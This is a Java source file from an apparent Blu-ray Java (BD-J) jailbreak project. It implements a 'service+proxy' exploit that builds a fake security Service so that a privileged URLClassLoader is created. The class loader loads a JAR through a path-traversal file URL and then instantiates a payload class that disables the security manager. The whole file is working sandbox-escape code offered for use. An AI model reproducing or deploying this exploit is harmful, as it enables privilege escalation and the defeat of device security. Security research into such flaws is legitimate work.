bd-jb/com/bdjb/ExploitServiceProxyImpl.java

/*
 * Copyright (C) 2021 Andy Nguyen
 *
 * This software may be modified and distributed under the terms
 * of the MIT license.  See the LICENSE file for details.
 */

package com.bdjb;

import java.io.FileOutputStream;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.URL;
import java.net.URLClassLoader;
import java.security.Provider;
import java.security.Security;

/** Implementation of the service+proxy exploit. */
class ExploitServiceProxyImpl implements ExploitInterface {
  private static final String SERVICE_CLASS_NAME = "com.oracle.security.Service";

  private static final String NEW_INSTANCE_METHOD_NAME = "newInstance";
  private static final String NEW_INSTANCE_METHOD_SIGNATURE =
      "(Ljava/lang/Object;)Ljava/lang/Object;";

  private static final String JAR_URL =
      "file:///app0/bdjstack/lib/ext/../../../../disc/BDMV/JAR/00000.jar";

  private static final String PAYLOAD_CLASS_NAME = "com.bdjb.Payload";

  public void trigger() throws Exception {
    // Throw exception if class does not exist.
    Class.forName(SERVICE_CLASS_NAME);

    IxcProxyImpl proxy = IxcProxyImpl.getInstance();

    // Prepare service object with the class to be instantiated.
    Provider[] providers = Security.getProviders();
    ServiceImpl service =
        new ServiceImpl(
            providers[0], "exploit", "exploit", URLClassLoader.class.getName(), null, null);
    ProviderAccessorImpl providerAccessor = new ProviderAccessorImpl(providers);
    providerAccessor.putService(providers[0], service);
    providerAccessor.setProviderAccessor();

    // Instantiate the URLClassLoader class with privileges and a vulnerable path.
    URL[] urls = new URL[] {new URL(JAR_URL)};
    URLClassLoader urlClassLoader =
        (URLClassLoader)
            proxy.invokeMethod(
                service,
                NEW_INSTANCE_METHOD_NAME,
                NEW_INSTANCE_METHOD_SIGNATURE,
                new Object[] {urls});

    // Instantiate the payload class with all permissions to disable the security manager.
    Class payloadClass = urlClassLoader.loadClass(PAYLOAD_CLASS_NAME);
    payloadClass.newInstance();
  }
}